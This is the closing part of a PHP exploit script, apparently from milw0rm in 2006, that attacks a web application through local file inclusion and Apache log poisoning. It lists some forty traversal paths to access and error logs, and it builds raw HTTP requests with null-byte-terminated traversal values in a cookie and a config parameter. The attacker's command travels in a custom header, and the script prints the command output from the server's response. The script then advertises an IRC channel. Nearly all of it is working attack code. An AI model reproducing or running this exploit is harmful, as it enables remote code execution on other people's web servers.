"../../../../../var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"../../../../../apache/logs/error.log",
"../../../../../apache/logs/access.log",
"../logs/error.log",
"../logs/access.log",
"../../logs/error.log",
"../../logs/access.log",
"../../../logs/error.log",
"../../../logs/access.log",
"../../../../logs/error.log",
"../../../../logs/access.log",
"../../../../../logs/error.log",
"../../../../../logs/access.log",
"../../../../../etc/httpd/logs/access_log",
"../../../../../etc/httpd/logs/access.log",
"../../../../../etc/httpd/logs/error_log",
"../../../../../etc/httpd/logs/error.log",
"../../../../../var/www/logs/access_log",
"../../../../../var/www/logs/access.log",
"../../../../../usr/local/apache/logs/access_log",
"../../../../../usr/local/apache/logs/access.log",
"../../../../../var/log/apache/access_log",
"../../../../../var/log/apache/access.log",
"../../../../../var/log/access_log",
"../../../../../var/www/logs/error_log",
"../../../../../var/www/logs/error.log",
"../../../../../usr/local/apache/logs/error_log",
"../../../../../usr/local/apache/logs/error.log",
"../../../../../var/log/apache/error_log",
"../../../../../var/log/apache/error.log",
"../../../../../var/log/access_log",
"../../../../../var/log/error_log"
);
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
echo "remote code execution...wait..\n";
$packet ="GET ".$p."index.php HTTP/1.1\r\n";
$packet.="Cookie: sLanguage=../".$paths[$i]."%00;\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}
for ($i=0; $i<=count($paths)-1; $i++)
{
$a=$i+2;
echo "[".$a."] Check Path: ".$paths[$i]."\r\n";
echo "remote code execution...wait..\n";
$packet ="GET ".$p."actions_client/gallery.php?config[db_type]=../".$paths[$i]."%00 HTTP/1.1\r\n";
$packet.="HAURU: ".$cmd."\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacket($packet);
if (strstr($html,"Hauru"))
{
$temp=explode("Hauru",$html);
die($temp[1]);
}
}
echo "Exploit err0r :(\r\n";
echo "Go to DEVIL TEAM IRC: 72.20.18.6:6667 #devilteam\r\n";
?>
# milw0rm.com [2006-11-13]